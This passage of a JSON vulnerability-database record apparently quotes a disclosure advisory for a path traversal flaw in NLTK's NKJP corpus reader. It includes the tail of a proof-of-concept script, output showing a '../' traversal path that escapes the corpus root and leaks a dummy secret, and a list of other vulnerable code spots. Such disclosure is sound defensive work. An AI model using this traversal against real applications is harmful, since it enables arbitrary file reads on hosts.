result[0][\"title\"])\n   shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True)\n   ```\n\n   Output (unmodified):\n   ```\n   nltk 3.9.4\n   ENFORCE = True\n   opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml']\n   disclosed content  : SECRET-API-KEY=sk-live-DEADBEEF\n   ```\n   With `ENFORCE = True`, NLTK opened a file outside the corpus root via the\n   builtin `open()` (no `PermissionError`, no warning) and returned its content.\n\n   ### Impact\n   This is a path traversal (CWE-22) leading to arbitrary file read. Any\n   application that passes attacker-influenced values into `NKJPCorpusReader`'s\n   `fileids` (e.g. letting a user choose which corpus document to read) is\n   affected; the attacker can escape the corpus root and read files elsewhere on\n   the host, defeating the `ENFORCE=True` sandbox.\n\n   Honest scoping: `header()` discloses the content of out-of-root files named\n   `header.xml` containing NKJP header XML. `raw()`/`words()`/`sents()` also open\n   and read an arbitrary out-of-root file (proven by intercepting `open()`), but a\n   separate pre-existing bug in `XML_Tool` (writing `str` to a binary\n   `NamedTemporaryFile`) suppresses their return value on current Python, so for\n   those modes the impact is arbitrary file open/read. The attacker chooses the\n   directory freely; a fixed basename is appended per mode. The same\n   \"build-path-then-builtin-open, skipping pathsec\" anti-pattern also appears in\n   `xmldocs.py:161`, `util.py:212,215`, `crubadan.py:78,97`, `lin.py:43`,\n   `ipipan.py:191`, `pl196x.py:110` and is worth fixing as a class.","status":"published","published":"2026-08-04T11:34:45.986151Z","modified":"2026-08-04T14:30:27.310060997Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:52:56.847083Z"},{"id":"DEBIAN-CVE-2026-12072","status":"published","published":"2026-08-12T16:47:40.1349316Z","modified":"2026-09-01T15:05:16.435758353Z","updated_at":"2026-11-02T15:45:51.374409Z"},{"id":"openSUSE-SU-2026:11469-1","title":"python313-nltk-3.10.1-1.1 on GA media","description":"These are all security issues fixed in the python313-nltk-3.10.1-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-08-06T00:00:00Z","modified":"2026-08-07T10:00:49.63540985Z","updated_at":"2026-11-02T16:58:39.516824Z"},{"id":"UBUNTU-CVE-2026-12072","description":"[Unknown description]","status":"published","published":"2026-08-13T00:00:00Z","modified":"2026-10-17T12:58:04.881003637Z","updated_at":"2026-11-02T16:56:00.081948Z"}]}}